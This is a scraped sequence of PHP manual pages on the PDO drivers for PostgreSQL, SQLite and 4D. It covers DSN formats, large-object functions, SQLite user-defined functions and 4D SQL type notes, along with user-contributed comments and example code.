This will show the "My PHP Application" text in ProgramName column of the sp_who2 procedure in MS SQL Server.
ODBC and DB2 (PDO)
PostgreSQL (PDO)
ODBC and DB2 (PDO)


PostgreSQL Functions (PDO_PGSQL)

Introduction

PDO_PGSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to PostgreSQL databases.

Resource Types

This extension defines a stream resource returned by PDO::pgsqlLOBOpen().

Installation

Use --with-pdo-pgsql[=DIR] to install the PDO PostgreSQL extension, where the optional [=DIR] is the PostgreSQL base install directory, or the path to pg_config.

$ ./configure --with-pdo-pgsql

Table of Contents

  • PDO_PGSQL DSN — Connecting to PostgreSQL databases
  • PDO::pgsqlLOBCreate — Creates a new large object
  • PDO::pgsqlLOBOpen — Opens an existing large object stream
  • PDO::pgsqlLOBUnlink — Deletes the large object

User Contributed Notes

There are no user contributed notes for this page.
PDO_ODBC DSN
PDO_PGSQL DSN
PDO Drivers


Connecting to PostgreSQL databases

PostgreSQL (PDO)
PDO::pgsqlLOBCreate
PostgreSQL (PDO)
PHP Manual

PDO_PGSQL DSN

(PECL PDO_PGSQL >= 0.1.0)

PDO_PGSQL DSN — Connecting to PostgreSQL databases

Description

The PDO_PGSQL Data Source Name (DSN) is composed of the following elements, delimited by spaces or semicolons:

DSN prefix

The DSN prefix is pgsql:.

host

The hostname on which the database server resides.

port

The port on which the database server is running.

dbname

The name of the database.

user

The name of the user for the connection. If you specify the user name in the DSN, PDO ignores the value of the user name argument in the PDO constructor.

password

The password of the user for the connection. If you specify the password in the DSN, PDO ignores the value of the password argument in the PDO constructor.

Note:

The bytea fields are returned as streams.

Examples

Example #1 PDO_PGSQL DSN examples

The following example shows a PDO_PGSQL DSN for connecting to a PostgreSQL database:

pgsql:host=localhost;port=5432;dbname=testdb;user=bruce;password=mypass

User Contributed Notes

tmairs at aasland dot com 03-May-2010 05:28
The DSN syntax shown here did not work for me, but this did:

<?php
$dbh = new PDO("pgsql:dbname=$dbname;host=$host", $username, $password );
?>

As opposed to

<?php
$dbh = new PDO('pgsql:dbname=$dbname;
                           host=$host;
                           username=$username;
                           password=$password');
?>

Which makes sense and is more PGSQL standard.
tim at buttersideup dot com 28-Dec-2007 10:35
You can also connect to PostgreSQL via a UNIX domain socket by leaving the host empty.  This should have less overhead than using TCP e.g.:

$dbh = new PDO('pgsql:user=exampleuser dbname=exampledb password=examplepass');

In fact as the C library call PQconnectdb underlies this implementation, you can supply anything that this library call would take - the "pgsql:" prefix gets stripped off before PQconnectdb is called, and if you supply any of the optional arguments (e.g. user), then these arguments will be added to the string that you supplied...  Check the docs for your relevant PostgreSQL client library: e.g.

http://www.postgresql.org/docs/8.3/static/libpq-connect.html

If you really want, you can use ';'s to separate your arguments - these will just be converted to spaces before PQconnectdb is called.

Tim.
Chris C. 14-Nov-2005 09:12
The PDO_PGSQL DSN should be seperated by semi-colons not spaces. It should follow the convention like the rest of the PDO DSNs.

'pgsql:dbname=example;user=nobody;password=change_me;host=localhost'
PostgreSQL (PDO)
PDO::pgsqlLOBCreate
PostgreSQL (PDO)


Creates a new large object

PDO_PGSQL DSN
PDO::pgsqlLOBOpen
PostgreSQL (PDO)
PHP Manual

PDO::pgsqlLOBCreate

(PHP 5 >= 5.1.2, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBCreate — Creates a new large object

Description

string PDO::pgsqlLOBCreate ( void )

PDO::pgsqlLOBCreate() creates a large object and returns the OID of that object. You may then open a stream on the object using PDO::pgsqlLOBOpen() to read or write data to it. The OID can be stored in columns of type OID and be used to reference the large object, without causing the row to grow arbitrarily large. The large object will continue to live in the database until it is removed by calling PDO::pgsqlLOBUnlink().

Large objects can be up to 2GB in size, but are cumbersome to use; you need to ensure that PDO::pgsqlLOBUnlink() is called prior to deleting the last row that references its OID from your database. In addition, large objects have no access controls. As an alternative, try the bytea column type; recent versions of PostgreSQL allow bytea columns of up to 1GB in size and transparently manage the storage for optimal row size.

Note: This function must be called within a transaction.

Parameters

PDO::pgsqlLOBCreate() takes no parameters.

Return Values

Returns the OID of the newly created large object on success, or FALSE on failure.

Examples

Example #1 A PDO::pgsqlLOBCreate() example

This example creates a new large object and copies the contents of a file into it. The OID is then stored into a table.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$oid = $db->pgsqlLOBCreate();
$stream = $db->pgsqlLOBOpen($oid, 'w');
$local = fopen($filename, 'rb');
stream_copy_to_stream($local, $stream);
$local = null;
$stream = null;
$stmt = $db->prepare("INSERT INTO BLOBS (ident, oid) VALUES (?, ?)");
$stmt->execute(array($some_id, $oid));
$db->commit();
?>

See Also

  • PDO::pgsqlLOBOpen() - Opens an existing large object stream
  • PDO::pgsqlLOBUnlink() - Deletes the large object
  • pg_lo_create() - Create a large object

User Contributed Notes

mauroi at digbang dot com 03-Apr-2006 09:38
IMHO, there's a better way to handle the deletion of lob objects than the suggested here. The programmer can easily forget to unlink the lob. With the following trigger, no programmer actions are required.
By the way, one problem with bytea fields is that when you query the database, if you ask for that field, the data is actually retrieved. When you query for and oid, only the oid is retrieved and then you can open the lob whenever you want (if it's required).

CREATE OR REPLACE FUNCTION oidtable_after_update_delete()
  RETURNS "trigger" AS
$BODY$
BEGIN
     IF (TG_OP = 'UPDATE') THEN
        IF (OLD.oidfield = NEW.oidfield) OR (OLD.oidfield IS NULL) THEN
           RETURN NEW;
        END IF;
     END IF;
     IF (EXISTS (SELECT 1 FROM pg_largeobject WHERE loid = OLD.oidfield)) THEN
        PERFORM LO_UNLINK (OLD.oidfield);
     END IF;
     RETURN NEW;
END;
$BODY$
  LANGUAGE 'plpgsql' VOLATILE;

CREATE TRIGGER oidtable_after_update_delete
  AFTER UPDATE OR DELETE
  ON oidtable
  FOR EACH ROW
  EXECUTE PROCEDURE oidtable_after_update_delete();
PDO_PGSQL DSN
PDO::pgsqlLOBOpen
PostgreSQL (PDO)


Opens an existing large object stream

PDO::pgsqlLOBCreate
PDO::pgsqlLOBUnlink
PostgreSQL (PDO)
PHP Manual

PDO::pgsqlLOBOpen

(PHP 5 >= 5.1.2, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBOpen — Opens an existing large object stream

Description

resource PDO::pgsqlLOBOpen ( string $oid [, string $mode = "rb" ] )

PDO::pgsqlLOBOpen() opens a stream to access the data referenced by oid. If mode is r, the stream is opened for reading, if mode is w, then the stream will be opened for writing. You can use all the usual filesystem functions, such as fread(), fwrite() and fgets() to manipulate the contents of the stream.

Note: This function, and all manipulations of the large object, must be called and carried out within a transaction.

Parameters

oid

A large object identifier.

mode

If mode is r, open the stream for reading. If mode is w, open the stream for writing.

Return Values

Returns a stream resource on success or FALSE on failure.

Examples

Example #1 A PDO::pgsqlLOBOpen() example

Following on from the PDO::pgsqlLOBCreate() example, this code snippet retrieves the large object from the database and outputs it to the browser.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("select oid from BLOBS where ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);
fpassthru($lob);
?>

See Also

  • PDO::pgsqlLOBCreate() - Creates a new large object
  • PDO::pgsqlLOBUnlink() - Deletes the large object
  • pg_lo_open() - Open a large object

User Contributed Notes

binaryexp at gmail 05-Mar-2009 04:54
This is what worked for me. If you have the oid, then all you need to do is:

<?php
$pdo = new PDO($dsn, $user, $pass);
$pdo->beginTransaction();
$data = $pdo->pgsqlLOBOpen($oid, 'r');

header("Content-Type: $mime");
// any other headers...

fpassthru($data);  // echo stream_get_contents($data); also works
?>

The beginTransaction() is required, if you want to $pdo->commit() (it's not required) then do it after the fpassthru.

On a side note, those using Zend Framework can call getConnection() on the standard PDO database object which will get them the $pdo object as above. Then just remember to disableLayout() and setNoRender() as necessary.
knl at bitflop dot com 25-Sep-2008 05:54
Also remember that fread() will only parse the first 8192 bytes from the stream. Use..

<?php
$data = stream_get_contents($stream);
?>

.. if you have a larger output to parse.
knl at bitflop dot com 25-Sep-2008 03:20
The above example is missing some data. After spending several hours trying to get it to work in vain, Jeff Davis from the PostgreSQL channel on IRC (freenode) figured out what was missing.

The below example will work, but you have to insert the MIME type and file size of the large object that you are storing, so you can use that data for extraction.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("SELECT oid, blob_type, filesize FROM BLOBS WHERE ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $lob, PDO::PARAM_LOB);
$stmt->bindColumn('blob_type', $blob_type, PDO::PARAM_STR);
$stmt->bindColumn('filesize', $filesize, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $pdo->pgsqlLOBOpen($lob, 'r');
$data = fread($stream, $filesize);
header("Content-type: $blob_type");
echo $data;
?>

Also fpassthru() will just give this result: Warning: fpassthru(): supplied argument is not a valid stream resource in ...

Use echo or print instead.
PDO::pgsqlLOBCreate
PDO::pgsqlLOBUnlink
PostgreSQL (PDO)


Deletes the large object

PDO::pgsqlLOBOpen
SQLite (PDO)
PostgreSQL (PDO)
PHP Manual

PDO::pgsqlLOBUnlink

(PHP 5 >= 5.1.2, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBUnlink — Deletes the large object

Description

bool PDO::pgsqlLOBUnlink ( string $oid )

Deletes a large object from the database identified by OID.

Note: This function must be called within a transaction.

Parameters

oid

A large object identifier

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A PDO::pgsqlLOBUnlink() example

This example unlinks a large object from the database prior to deleting the row that references it from the blobs table we've been using in our PDO::pgsqlLOBCreate() and PDO::pgsqlLOBOpen() examples.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$db->pgsqlLOBUnlink($oid);
$stmt = $db->prepare("DELETE FROM BLOBS where ident = ?");
$stmt->execute(array($some_id));
$db->commit();
?>

See Also

  • PDO::pgsqlLOBOpen() - Opens an existing large object stream
  • PDO::pgsqlLOBCreate() - Creates a new large object

User Contributed Notes

There are no user contributed notes for this page.
PDO::pgsqlLOBOpen
SQLite (PDO)
PostgreSQL (PDO)


SQLite Functions (PDO_SQLITE)

Introduction

PDO_SQLITE is a driver that implements the PHP Data Objects (PDO) interface to enable access to SQLite 3 databases.

In PHP 5.1, the SQLite extension also provides a driver for SQLite 2 databases; while it is not technically a part of the PDO_SQLITE driver, it behaves similarly, so it is documented alongside it. The SQLite 2 driver for PDO is provided primarily to make it easier to import legacy SQLite 2 database files into an application that uses the faster, more efficient SQLite 3 driver. As a result, the SQLite 2 driver is not as feature-rich as the SQLite 3 driver.

Note:

PDO_SQLITE allows using strings apart from streams together with PDO::PARAM_LOB.

Installation

The PDO_SQLITE PDO driver is enabled by default. To disable, --without-pdo-sqlite[=DIR] may be used, where the optional [=DIR] is the sqlite base install directory.

Table of Contents

  • PDO_SQLITE DSN — Connecting to SQLite databases
  • PDO::sqliteCreateAggregate — Registers an aggregating User Defined Function for use in SQL statements
  • PDO::sqliteCreateFunction — Registers a User Defined Function for use in SQL statements

User Contributed Notes

Hayley Watson 25-Sep-2011 07:31
If there is anyone using PDO to interface with SQLite and wondering how to create an SQLite database to begin with; if they're thinking they'll have to detour into one of the other SQLite interfaces to get the job done - nope!

PDO does need a SQLite database file to exist before it can connect, but that file can be a completely empty one; so a single touch() is enough to create a brand new virgin SQLite database ready to receive your CREATE TABLE statements.
gopal at gopalarathnam dot com 27-Mar-2007 02:36
If you get an error reporting "invalid resource" when trying to query the database table and looping through it, the version of the SQLite extension compiled in to PHP might be incompatible with the version that had created the database (like SQLite 2.x vs 3.x).

The database open itself might be successful, failing only when querying.

$dbh = new PDO('sqlite:/tmp/foo.db'); // success
foreach ($dbh->query('SELECT * FROM bar') as $row) // prints invalid resource
    // ...
gmac63 at charter dot net 10-Aug-2006 07:38
Issue:
Error: SQLSTATE[HY000]: General error: 1 unsupported file format

Resolution:
To solve this (and/or many issues) involving this type of error, I assumed the error to be generated from php. Well, it was to an extent. The sqlite pdo code offered the solution:

I researched the error by grep'ing the php source code and found the error string to come from php-5.1.4/ext/pdo_sqlite/sqlite/src/prepare.c, lines 265:278 :

/*
 ** file_format==1    Version 3.0.0.
 ** file_format==2    Version 3.1.3.
 ** file_format==3    Version 3.1.4.
 **
 ** Version 3.0 can only use files with file_format==1. Version 3.1.3
 ** can read and write files with file_format==1 or file_format==2.
 ** Version 3.1.4 can read and write file formats 1, 2 and 3.
 */
 if( meta[1]>3 ){
   sqlite3BtreeCloseCursor(curMain);
   sqlite3SetString(pzErrMsg, "unsupported file format", (char*)0);
   return SQLITE_ERROR;
 }

This is interesting as I am running SQLite version 3.3.5 which the databases were created in. I see that the SQLite PDO source in the php source is :
      # cat ext/pdo_sqlite/sqlite/VERSION
       3.2.8

My solution was then to find a version of sqlite that was =< 3.1.4. I found source for 3.1.3, compiled, recreated my database using that version (NOTE: the databases are unsupported between 3.1.x and 3.2.x versions of SQLite). Once I did this it worked.

Also as a side note, to get SQLite compiled as a PDO, I had to:

1) configure with
...
--enable-pdo=shared \
--with-sqlite=shared \
--with-pdo-sqlite=shared
--with-zlib
... \
'make && make install' if configure is successful.

2) Make sure the pdo libs were copied/installed to the correct directory. On my installation it was /usr/local/include/php/ext/pdo/

3) Make these changes in my php.ini:
  - change ' extension_dir = "./" ' to ' extension_dir="/usr/local/include/php/ext/pdo/" '
  - add/edit in this order:
      extension=pdo.so
      extension=pdo_sqlite.so
      extension=sqlite.so

4) test php with : 'php -m' at the command line and solve any issues from there. Mostly php.ini config issues. Also restart the http service!
maximkh [at] yahoo [dot] com 04-Aug-2006 01:11
In reply to Duffalo:

The current PHP version will happily work with SQLite 3.3.6, but you need to re-compile PHP using the latest SQLite library.

On a different note, it seems that the developers got a little lazy and decided not to add any support for integer, real, or blob data types. When using PDO's bindParam or bindValue methods, the driver only uses either sqlite3_bind_null, or sqlite3_bind_text. That means that if you think you're storing ints, even with PDO::PARAM_INT specified, it is still stored as string, taking up a lot more space than it needs to and effectively eliminating all data-type support for SQLite (you are only left with nulls or text).

In my opinion, this is a rather lousy implementation. I've submitted a feature/change request to the bug tracking system, so I guess we can wait and see if full data type support is added in the future. What I don't understand is why this was done in the first place. SQLite's API could not be any easier to use, simply check the type of the variable passed, and if it's an int use sqlite3_bind_int, if it's a float use sqlite3_bind_double. Why the forced conversion into strings?
Duffalo 06-Jul-2006 04:41
Note that as of the date of this post, PDO_SQLITE will not interact with database files created with the current version of the SQLite console application, sqlite-3.3.6.

It is currently necessary to obtain version 3.2.8, available from http://www.sqlite.org/ but only by entering the URI manually, as there is no link. Go to http://www.sqlite.org/download.html and find the URI of the version you're looking for, then make the appropriate version number substitution.
aidan at php dot net 01-Oct-2005 02:36
If you receive an error while trying to write to a sqlite database (update, delete, drop):

Warning: PDO::query() [function.query]: SQLSTATE[HY000]: General error: 1 unable to open database

The folder that houses the database file must be writeable.
PDO::pgsqlLOBUnlink
PDO_SQLITE DSN
PDO Drivers


Connecting to SQLite databases

SQLite (PDO)
PDO::sqliteCreateAggregate
SQLite (PDO)
PHP Manual

PDO_SQLITE DSN

(PECL PDO_SQLITE >= 0.2.0)

PDO_SQLITE DSN — Connecting to SQLite databases

Description

The PDO_SQLITE Data Source Name (DSN) is composed of the following elements:

DSN prefix (SQLite 3)

The DSN prefix is sqlite:.

  • To access a database on disk, append the absolute path to the DSN prefix.

  • To create a database in memory, append :memory: to the DSN prefix.

DSN prefix (SQLite 2)

The SQLite extension in PHP 5.1 provides a PDO driver that supports accessing and creating SQLite 2 databases. This enables you to access databases you may have created with the SQLite extension in previous versions of PHP.

Note:

The sqlite2 driver is only available in PHP 5.1.x if you have enabled both PDO and ext/sqlite. It is not currently available via PECL.

The DSN prefix for connecting to SQLite 2 databases is sqlite2:.

  • To access a database on disk, append the absolute path to the DSN prefix.

  • To create a database in memory, append :memory: to the DSN prefix.

Examples

Example #1 PDO_SQLITE DSN examples

The following examples show PDO_SQLITE DSN for connecting to SQLite databases:

sqlite:/opt/databases/mydb.sq3
sqlite::memory:
sqlite2:/opt/databases/mydb.sq2
sqlite2::memory:

User Contributed Notes

frederic dot glorieux at diple dot net 10-Aug-2011 03:20
In memory sqlite has some limitations. The memory space could be the request, the session, but no way seems documented to share a base in memory among users.

For a request, open your base with the code
$pdo = new PDO( 'sqlite::memory:');
and your base will disapear on next request.

For session persistency
<?php
$pdo = new PDO(
    'sqlite::memory:',
    null,
    null,
    array(PDO::ATTR_PERSISTENT => true)
);
?>
FST777 21-Apr-2008 05:27
@ Fatmoon
That is correct. SQLite sometimes uses additional files in the same folder while writing to the DB. These files can sometimes be seen and usually contain the name of your DB and the word 'journal' in their filename.
Security wise, it might be a good idea to store the SQLite databases in a seperate folder to shield the rest from user www.
Fatmoon 20-Apr-2008 07:42
It seems that the directory that contains your sqlite database must be writeable by the web server. Making just the file writeable won't work.
rick 30-Oct-2006 10:51
Don't forget "extension=php_pdo_sqlite.dll" has to be enabled in php.ini (if you use xampp is will be disabled by default) .
SQLite (PDO)
PDO::sqliteCreateAggregate
SQLite (PDO)


Registers an aggregating User Defined Function for use in SQL statements

PDO_SQLITE DSN
PDO::sqliteCreateFunction
SQLite (PDO)
PHP Manual

PDO::sqliteCreateAggregate

(PHP 5 >= 5.1.0, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateAggregate — Registers an aggregating User Defined Function for use in SQL statements

Description

bool PDO::sqliteCreateAggregate ( string $function_name , callback $step_func , callback $finalize_func [, int $num_args ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

This method is similar to PDO::sqliteCreateFunction except that it registers functions that can be used to calculate a result aggregated across all the rows of a query.

The key difference between this method and PDO::sqliteCreateFunction is that two functions are required to manage the aggregate.

Parameters

function_name

The name of the function used in SQL statements.

step_func

Callback function called for each row of the result set. Your PHP function should accumulate the result and store it in the aggregation context.

This function need to be defined as:

step ( mixed $context , int $rownumber , mixed $value1 [, mixed $value2 [, mixed $.. ]] )

context will be NULL for the first row; on subsequent rows it will have the value that was previously returned from the step function; you should use this to maintain the aggregate state.

rownumber will hold the current row number.

finalize_func

Callback function to aggregate the "stepped" data from each row. Once all the rows have been processed, this function will be called and it should then take the data from the aggregation context and return the result. Callback functions should return a type understood by SQLite (i.e. scalar type).

This function need to be defined as:

fini ( mixed $context , int $rownumber )

context will hold the return value from the very last call to the step function.

rownumber will hold the number of rows over which the aggregate was performed.

The return value of this function will be used as the return value for the aggregate.

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
    $insert->execute(array($str));
}
$insert = null;

function max_len_step(&$context, $rownumber, $string)
{
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
    return $context;
}

function max_len_finalize(&$context, $rownumber)
{
    return $context;
}

$db->sqliteCreateAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->query('SELECT max_len(a) from strings')->fetchAll());

?>

In this example, we are creating an aggregating function that will calculate the length of the longest string in one of the columns of the table. For each row, the max_len_step function is called and passed a context parameter. The context parameter is just like any other PHP variable and be set to hold an array or even an object value. In this example, we are simply using it to hold the maximum length we have seen so far; if the string has a length longer than the current maximum, we update the context to hold this new maximum length.

After all of the rows have been processed, SQLite calls the max_len_finalize function to determine the aggregate result. Here, we could perform some kind of calculation based on the data found in the context. In our simple example though, we have been calculating the result as the query progressed, so we simply need to return the context value.

Tip

It is NOT recommended for you to store a copy of the values in the context and then process them at the end, as you would cause SQLite to use a lot of memory to process the query - just think of how much memory you would need if a million rows were stored in memory, each containing a string 32 bytes in length.

Tip

You can use PDO::sqliteCreateFunction and PDO::sqliteCreateAggregate to override SQLite native SQL functions.

Note:

This method is not available with the SQLite2 driver. Use the old style sqlite API for that instead.

See Also

  • PDO::sqliteCreateFunction
  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

There are no user contributed notes for this page.
PDO_SQLITE DSN
PDO::sqliteCreateFunction
SQLite (PDO)


Registers a User Defined Function for use in SQL statements

PDO::sqliteCreateAggregate
4D (PDO)
SQLite (PDO)
PHP Manual

PDO::sqliteCreateFunction

(PHP 5 >= 5.1.0, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateFunction — Registers a User Defined Function for use in SQL statements

Description

bool PDO::sqliteCreateFunction ( string $function_name , callback $callback [, int $num_args ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

This method allows you to register a PHP function with SQLite as an UDF (User Defined Function), so that it can be called from within your SQL statements.

The UDF can be used in any SQL statement that can call functions, such as SELECT and UPDATE statements and also in triggers.

Parameters

function_name

The name of the function used in SQL statements.

callback

Callback function to handle the defined SQL function.

Note: Callback functions should return a type understood by SQLite (i.e. scalar type).

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 PDO::sqliteCreateFunction() example

<?php
function md5_and_reverse($string)
{
    return strrev(md5($string));
}

$db = new PDO('sqlite:sqlitedb');
$db->sqliteCreateFunction('md5rev', 'md5_and_reverse', 1);
$rows = $db->query('SELECT md5rev(filename) FROM files')->fetchAll();
?>

In this example, we have a function that calculates the md5 sum of a string, and then reverses it. When the SQL statement executes, it returns the value of the filename transformed by our function. The data returned in $rows contains the processed result.

The beauty of this technique is that you do not need to process the result using a foreach loop after you have queried for the data.

Tip

You can use PDO::sqliteCreateFunction and PDO::sqliteCreateAggregate to override SQLite native SQL functions.

Note:

This method is not available with the SQLite2 driver. Use the old style sqlite API for that instead.

See Also

  • PDO::sqliteCreateAggregate
  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

There are no user contributed notes for this page.
PDO::sqliteCreateAggregate
4D (PDO)
SQLite (PDO)


4D Functions (PDO_4D)

Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

PDO_4D is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to 4D databases.

4D is an integrated platform that speeds and simplifies the development and deployment of business applications, used in over 70 countries, by a community of thousands of developers and vertical solution providers, with millions of end-users worldwide.

By offering a suite of integrated tools such as an ANSI SQL relational and transactional database, a graphical development environment, a fourth-generation language with over 1000 high-level commands, a built-in HTTP server, application server, etc., 4D facilitates the creation and maintenance of applications from one to hundreds of simultaneous users, whether on Windows, Mac or from any Web client.

4D is also an open platform, offering a complete API for plug-in creation, including various connectors that allow it to act as a back-end or front-end for many environments (Oracle via OCI, SOAP client or server, Flex data source, all ODBC databases, XML over HTTP, etc.)

In addition to the ability to interact with 4D applications across Web Services, 4D databases can now be directly accessed using the PDO_4D driver.

More details about the 4D development environment on » http://www.4d.com/.

PDO_4D is known to work with 4D versions 12 beta and up, for Mac OS X and Windows. Older plat-forms may work, but are unsupported.

Table of Contents

  • PDO_4D DSN — Connecting to 4D SQL server
  • Constants for PDO_4D — Constants for PDO_4D
  • SQL types with PDO_4D and PHP — SQL types with PDO_4D and PHP
  • SQL acceptable by 4D — PDO and SQL 4D
  • Examples with PDO_4D — Examples PDO_4D

User Contributed Notes

There are no user contributed notes for this page.
PDO::sqliteCreateFunction
PDO_4D DSN
PDO Drivers


Connecting to 4D SQL server

4D (PDO)
Constants for PDO_4D
4D (PDO)
PHP Manual

PDO_4D DSN

(No version information available, might only be in SVN)

PDO_4D DSN — Connecting to 4D SQL server

Description

The PDO_4D DSN consists of:

DSN prefix

The DSN prefix is 4D:.

host

The host on which the 4D SQL server is.

port

The port number for the server. This is optional.

user

The login name when connecting to the database.

password

The password for the above login.

dbname

The name of the database. This parameter is optional, and it is not used.

charset

The 4D character set.

Examples

Example #1 DSN examples for PDO_4D

The following examples has two DSN for PDO_4D, that connects to a 4D database :

4D:host=localhost;charset=UTF-8
Other possible values :
4D:host=localhost
4D:

User Contributed Notes

There are no user contributed notes for this page.
4D (PDO)
Constants for PDO_4D
4D (PDO)


Constants for PDO_4D

(No version information available, might only be in SVN)

Constants for PDO_4D — Constants for PDO_4D

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

PDO::FOURD_ATTR_CHARSET (integer)

Change the charset in which 4D returns data. (Default is UTF-8).

PDO::FOURD_ATTR_PREFERRED_IMAGE_TYPES (integer)

The requested format of the image, when selecting a row with a column type PICTURE. It may be any type that 4D supports.

User Contributed Notes

There are no user contributed notes for this page.
PDO_4D DSN
SQL types with PDO_4D and PHP
4D (PDO)


SQL types with PDO_4D and PHP

(No version information available, might only be in SVN)

SQL types with PDO_4D and PHP — SQL types with PDO_4D and PHP

Supported SQL types
Type SQL 4D | Equivalent 4D | Note
ALPHA_NUMERIC | TEXT |
VARCHAR | TEXT |
TEXT | TEXT |
TIMESTAMP | DATE |
INTERVAL | HOUR |
DURATION | HOUR |
BOOLEAN | BOOLEAN |
BIT | BOOLEAN |
BYTE | INT32 |
INT16 | SMALLINT |
SMALLINT | SMALLINT |
INT32 | INT32 |
INT | INT32 |
INT64 | INT64 |
NUMERIC | INT64 |
REAL | REAL | Unsupported (use VARCHAR conversion)
FLOAT | FLOAT | Unsupported (use VARCHAR conversion)
DOUBLE PRECISION | FLOAT |
BLOB | BLOB | Must use a prepared statement, and PDO::PARAM_LOB
BIT VARYING | BLOB | Must use a prepared statement, and PDO::PARAM_LOB
CLOB | TEXT |
PICTURE | PICTURE | Must use a prepared statement, and PDO::PARAM_LOB

User Contributed Notes

There are no user contributed notes for this page.
Constants for PDO_4D
SQL acceptable by 4D
4D (PDO)


PDO and SQL 4D

SQL types with PDO_4D and PHP
Examples with PDO_4D
4D (PDO)
PHP Manual

SQL acceptable by 4D

(No version information available, might only be in SVN)

SQL acceptable by 4D — PDO and SQL 4D

Description

4D implements strictly the ANSI 89 standard, and have it enforced. It is highly recommended to read the 4D SQL documentation to learn about the available commands. The URL of the manual is : » http://doc.4d.com/. Below is a list of 4D SQL characteristics: it is not exhaustive, but may serve as an introduction.

Characteristics of 4D SQL
Characteristics | Alternative | Note
INTEGER | Modify the SQL to use INT. | INT is the supported integer type in 4Dv12.0.
CHAR | Use VARCHAR instead. | Unsupported in 4Dv12.0
UNION | Unsupported. Make separate queries. | Unsupported in 4Dv12.0
SELECT 1 + 1; | SELECT 1 + 1 FROM _USER_SCHEMAS; | FROM is required
FLOAT | Cast the FLOAT value into a FLOAT or STRING, with an SQL 4D function (CAST, ROUND, TRUNC or TRUNCATE) | Unsupported in current versions of the PDO_4D driver
Strong typing | Take care your SQL query, or your PHP code provides data with the expected type | One must provide the right type that 4D expect. One can't insert '1' (as a string) in an INTEGER column.
PDO::execute($row)() : only works if all the table's column are of type TEXT or VARCHAR | Use the prepared statements, and use the right types. | The PDO extension cast all values through execute() as string, and expect the SQL database to parse the values.
SELECT NULL FROM TABLE | Do not use NULL constants. Extract them from the table | It is not allowed to use the NULL constant in the select list
SELECT * FROM TABLE WHERE 1 | Use WHERE 1 = 1 | A constant can't be used in a WHERE clause
SHOW TABLES | Use system tables | The list of tables, schemas, index, etc. are in these system tables : _USER_TABLES, _USER_COLUMNS, _USER_INDEXES, _USER_CONSTRAINTS, _USER_IND_COLUMNS, _USER_CONS_COLUMNS, and _USER_SCHEMAS.
SQL structure delimiter | Use the following function to protect SQL elements: function sqlEscapeElement(elem) { return '[' . str_replace(']',']]', $elem) . ']'; } | To escape SQL elements names (tables, fields, users, groups, schema, primary key, etc.), the whole identifier must be between square brackets, and the closing brackets ']' must be doubled.

User Contributed Notes

There are no user contributed notes for this page.
SQL types with PDO_4D and PHP
Examples with PDO_4D
4D (PDO)


Examples PDO_4D

SQL acceptable by 4D
Vendor Specific Database Extensions
4D (PDO)
PHP Manual

Examples with PDO_4D

(No version information available, might only be in SVN)

Examples with PDO_4D — Examples PDO_4D

This basic example show how to connect, execute a query, read data and disconnect from a 4D SQL server.

Example #1 Basic example with PDO_4D

<?php
$dsn = '4D:host=localhost;charset=UTF-8';
$user = 'test';
$pass = 'test';

// Connection to the 4D SQL server
$db = new PDO($dsn, $user, $pass);

try {
    $db->exec('CREATE TABLE test(id varCHAR(1) NOT NULL, val VARCHAR(10))');
} catch (PDOException $e) {
    die("Erreur 4D : " . $e->getMessage());
}

$db->exec("INSERT INTO test VALUES('A', 'B')");
$db->exec("INSERT INTO test VALUES('C', 'D')");
$db->exec("INSERT INTO test VALUES('E', 'F')");

